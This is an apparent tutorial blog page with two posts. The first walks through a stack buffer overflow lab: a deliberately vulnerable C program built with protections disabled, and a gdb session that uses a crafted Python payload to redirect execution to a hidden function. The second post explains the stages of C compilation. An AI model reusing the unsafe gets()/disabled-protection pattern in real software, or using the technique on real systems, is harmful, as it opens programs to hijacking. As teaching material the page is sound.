Tag: c

  • Stack‑based Buffer Overflow

    Stack‑based Buffer Overflow

    A stack‑based buffer overflow happens when a program writes more data into a stack‑allocated buffer than it was designed to hold. Because the stack stores important control data (like return addresses), overflowing a buffer can overwrite that data and change how the program executes.

    The following code contains a function named hidden that is never called during normal execution. However, a threat actor could exploit a stack‑based buffer overflow to redirect execution flow and invoke this function that lists the files in the current directory.

    #include <stdio.h> // Provides printf(), gets()
    #include <stdlib.h>// Provides system(), exit()
    #include <string.h>// String functions (not directly used here)

    void hidden() {
        printf(“Hidden Function\n”); // Print a message to stdout
        system(“ls -la”); // Execute a shell command
        exit(0); // Terminate the program immediately
    }

    void vulnerable() {
        char buffer[20]; // Allocate 20 bytes on the stack
        printf(“Enter text:\n”); // Prompt the user
        gets(buffer); // No bounds checking, Input longer than 20 bytes will overwrite adjacent stack memory
        printf(“You entered: %s\n”, buffer); // Echo user input back
    }

    int main() {
        vulnerable(); // Execute vulnerable code
        return 0; // Normal program termination
    }

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    void hidden() {
        printf("Hidden Function\n");
        system("ls -la");
        exit(0);
    }

    void vulnerable() {
        char buffer[20];
      printf("Enter text: ");
        gets(buffer); 
        printf("You entered: %s\n", buffer);
    }

    int main() {
        vulnerable();
        return 0;
    }

    Compile the program with gcc

    gcc # an open-source set of compilers and development tools for various programming languages
    -m32 # Compile as 32-bit (simpler stack layout, x86 calling convention)
    -O0 # Disable optimizations (keeps variables on the stack)
    -ggdb # Include GDB debugging symbols
    -static # Statically link libraries (fixed addresses, larger binary)
    -U_FORTIFY_SOURCE # Disable _FORTIFY_SOURCE safety checks
    -z execstack # Mark stack as executable (disable NX/DEP)
    -fno-stack-protector # Disable stack canaries
    -no-pie # Disable PIE (fixed code addresses, weaker ASLR)
    -mpreferred-stack-boundary=2 # Set stack alignment to 4 bytes (2^2)
    app.c -o app # Compile app.c into output binary “app”

    gcc -m32 -O0 -ggdb -static -U_FORTIFY_SOURCE -z execstack -fno-stack-protector -no-pie -mpreferred-stack-boundary=2 app.c -o app

    Access ASLR disabled shell using setarch

    setarch # Run a program with modified architecture settings
    `uname -m` # Use the current machine architecture (e.g., x86_64)
    -R # Disable ASLR (Address Space Layout Randomization)
    $SHELL # Start a new shell with these settings applied

    setarch `uname -m` -R $SHELL

    Change the app mode

    chmod # a Linux/Unix command used to change the permissions of a file or directory
    +x # Make it executable
    app # Name of the app

    chmod +x app

    Then, run the program with gdb 

    root@u20:~# gdb app
    GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.2) 9.2
    Copyright (C) 2020 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.
    Type "show copying" and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu".
    Type "show configuration" for configuration details.
    For bug reporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>.
    Find the GDB manual and other documentation resources online at:
        <http://www.gnu.org/software/gdb/documentation/>.

    For help, type "help".
    Type "apropos word" to search for commands related to "word"...
    Reading symbols from app...

    Instead of manually entering input, we use a Python script to generate the payload. The payload is 34 bytes in length, where 20 bytes are required to cause a segmentation fault and the remaining bytes serve as padding.

    (gdb) run < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*34)")
    Starting program: /root/app < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*34)")
    Enter text: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Program received signal SIGSEGV, Segmentation fault.
    0x08004141 in ?? ()

    Print the CPU registers, focusing on the EIP register, which is updated by the CPU to point to the next instruction to execute. When a function returns, the return address is stored on the stack and then loaded into EIP. In this case, the value 0x08004141 indicates that user‑controlled input has partially overwritten the return address. This confirms that the return address is reached after 32 bytes of padding.

    (gdb) info registers
    eax            0x30                48
    ecx            0x7fffffd0          2147483600
    edx            0x80b503c           134959164
    ebx            0x41414141          1094795585
    esp            0xffffd660          0xffffd660
    ebp            0x41414141          0x41414141
    esi            0x80e7000           135163904
    edi            0x80e7000           135163904
    eip            0x8004141           0x8004141
    eflags         0x10286             [ PF SF IF RF ]
    cs             0x23                35
    ss             0x2b                43
    ds             0x2b                43
    es             0x2b                43
    fs             0x0                 0
    gs             0x63                99

    Let’s find the hidden function address

    (gdb) disas hidden
    Dump of assembler code for function hidden:
       0x08049d95 <+0>:     endbr32 
       0x08049d99 <+4>:     push   %ebp
       0x08049d9a <+5>:     mov    %esp,%ebp
       0x08049d9c <+7>:     push   %ebx
       0x08049d9d <+8>:     sub    $0x4,%esp
       0x08049da0 <+11>:    call   0x8049c70 <__x86.get_pc_thunk.bx>
       0x08049da5 <+16>:    add    $0x9d25b,%ebx
       0x08049dab <+22>:    sub    $0xc,%esp
       0x08049dae <+25>:    lea    -0x31ff8(%ebx),%eax
       0x08049db4 <+31>:    push   %eax
       0x08049db5 <+32>:    call   0x8058b40 <puts>
       0x08049dba <+37>:    add    $0x10,%esp
       0x08049dbd <+40>:    sub    $0xc,%esp
       0x08049dc0 <+43>:    lea    -0x31fe8(%ebx),%eax
       0x08049dc6 <+49>:    push   %eax
       0x08049dc7 <+50>:    call   0x8051560 <system>
       0x08049dcc <+55>:    add    $0x10,%esp
       0x08049dcf <+58>:    sub    $0xc,%esp
       0x08049dd2 <+61>:    push   $0x0
       0x08049dd4 <+63>:    call   0x8050730 <exit>
    End of assembler dump.

    Use that address in the exploit payload after the 32 bytes padding, this will call the hidden function that lists directory files

    (gdb) run < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*32 + struct.pack('I', 0x08049d95))")
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /root/app < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*32 + struct.pack('I', 0x08049d95))")
    Enter text: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Hidden Function
    [Detaching after vfork from child process 449]
    total 784
    drwx------  5 root root   4096 Feb 10 20:16 .
    drwxr-xr-x 24 root root   4096 Feb 10 18:59 ..
    -rw-r--r--  1 root root   1024 Feb 10 07:02 .app.swp
    -rwxr-xr-x  1 root root 721556 Feb 10 20:16 app
    -rw-r--r--  1 root root    326 Feb 10 20:16 app.c
    drwxr-xr-x  9 root root   4096 Oct 19 14:51 vsftpd-2.3.4
    [Inferior 1 (process 446) exited normally]
  • C Language Compiled Code

    C Language Compiled Code

    C Language Compiled Code refers to the machine-readable version of a program written in the C programming language. When you write C source code in human-readable files (.c and .h), it cannot be executed directly by a computer. A compiler translates this source code through several stages including preprocessing, compilation to assembly, assembling into object code, and linking with libraries to produce a standalone executable file. The resulting compiled code consists of binary instructions that the CPU can interpret and run directly. This makes compiled code fundamentally different from the original C source code, which is intended for humans to read, write, and modify.

    Source Code

    The code is in C language (.c and .h files)

    cat # Command used to display the contents of a file
    test.c # The C source file whose contents will be printed to the terminal

    (host) cat test.c

    #include <stdio.h> // Includes the Standard Input/Output library so we can use functions like printf()

    int main(){ // The main function: program execution starts here
      printf(“Hello World!”); // Prints the text “Hello World!” to the standard output (usually the terminal)
      return 0; // Ends the program and returns 0 to the operating system indicating successful execution
    }

    #include <stdio.h>

    int main(){
    printf("Hello World!");
    return 0;
    }

    Pre-Processor

    This step includes the headers and expand the macros, the generated file have the .i, .ii extensions  

    gcc # GNU C Compiler
    -E # Tells gcc to run only the preprocessor (expands #include, #define, etc.)
    test.c # The C source file being processed
    | # Pipe operator; sends the output of the command on the left to the command on the right
    head # Displays only the first 10 lines of the output

    (host) gcc -E test.c | head

    # 0 "test.c"
    # 0 "<built-in>"
    # 0 "<command-line>"
    # 1 "/usr/include/stdc-predef.h" 1 3 4
    # 0 "<command-line>" 2
    # 1 "test.c"
    # 1 "/usr/include/stdio.h" 1 3 4
    # 28 "/usr/include/stdio.h" 3 4

    Compiler

    The expanded code/preprocessed code gets converted into assembly code, the generated file have the .s, .asm extensions 

    gcc # GNU C Compiler
    -S # Tells gcc to compile the code into assembly language but not create an executable
    test.c # The C source file being compiled

    (host) gcc -S test.c

    cat # Command used to display the contents of a file
    test.s # The generated assembly language file from the compilation step

    (host) cat test.s

            .file   "test.c"
            .text
            .section        .rodata
    .LC0:
            .string "Hello World!"
            .text
            .globl  main
            .type   main, @function
    main:
    .LFB0:
            .cfi_startproc
            pushq   %rbp
            .cfi_def_cfa_offset 16
            .cfi_offset 6, -16
            movq    %rsp, %rbp
            .cfi_def_cfa_register 6
            leaq    .LC0(%rip), %rax
            movq    %rax, %rdi
            movl    $0, %eax
            call    printf@PLT
            movl    $0, %eax
            popq    %rbp
            .cfi_def_cfa 7, 8
            ret
            .cfi_endproc
    .LFE0:
            .size   main, .-main
            .ident  "GCC: (Debian 14.2.0-16) 14.2.0"
            .section        .note.GNU-stack,"",@progbits

    Assembler

    The assembly code gets converted into object code/machine code, the generated file have the .o, .obj extensions  

    gcc # GNU C Compiler
    -c # Compile the source code into an object file (machine code) without linking
    test.c # The C source file being compiled

    (host) gcc -c test.c

    cat # Outputs the contents of the file
    test.o # Object file containing compiled machine code
    | # Pipe operator; sends output of the left command to the right command
    xxd # Converts binary data into a hexadecimal (hex) and ASCII representation
    | # Pipe operator again
    head # Displays only the first 10 lines of the hex output

    (host) cat test.o | xxd | head

    00000000: cffa edfe 0c00 0001 0000 0000 0100 0000  ................
    00000010: 0400 0000 b801 0000 0020 0000 0000 0000  ......... ......
    00000020: 1900 0000 3801 0000 0000 0000 0000 0000  ....8...........
    00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00000040: 6800 0000 0000 0000 d801 0000 0000 0000  h...............
    00000050: 6800 0000 0000 0000 0700 0000 0700 0000  h...............
    00000060: 0300 0000 0000 0000 5f5f 7465 7874 0000  ........__text..
    00000070: 0000 0000 0000 0000 5f5f 5445 5854 0000  ........__TEXT..
    00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00000090: 3400 0000 0000 0000 d801 0000 0200 0000  4...............
    ...
    ...
    ...

    Linker

    The last step is combining the object code/machine code and .lib/.a static library files, the generated file have the .exe, elf, bin extensions

    gcc # GNU C Compiler used to compile and link the program
    test.c # The C source file being compiled
    -o # Option to specify the name of the output file
    test.bin # Name of the final executable binary file that will be created

    (host) gcc test.c -o test.bin

    cat # Outputs the contents of the file
    test.bin # The compiled executable binary file
    | # Pipe operator; sends output of one command to another
    xxd # Converts binary data into hexadecimal and ASCII representation
    | # Pipe operator again
    head # Displays the first 10 lines of the output

    (host) cat test.bin | xxd | head

    00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
    00000010: 0300 3e00 0100 0000 5010 0000 0000 0000  ..>.....P.......
    00000020: 4000 0000 0000 0000 9036 0000 0000 0000  @........6......
    00000030: 0000 0000 4000 3800 0e00 4000 1f00 1e00  ....@.8...@.....
    00000040: 0600 0000 0400 0000 4000 0000 0000 0000  ........@.......
    00000050: 4000 0000 0000 0000 4000 0000 0000 0000  @.......@.......
    00000060: 1003 0000 0000 0000 1003 0000 0000 0000  ................
    00000070: 0800 0000 0000 0000 0300 0000 0400 0000  ................
    00000080: 9403 0000 0000 0000 9403 0000 0000 0000  ................
    00000090: 9403 0000 0000 0000 1c00 0000 0000 0000  ...............
    ...
    ...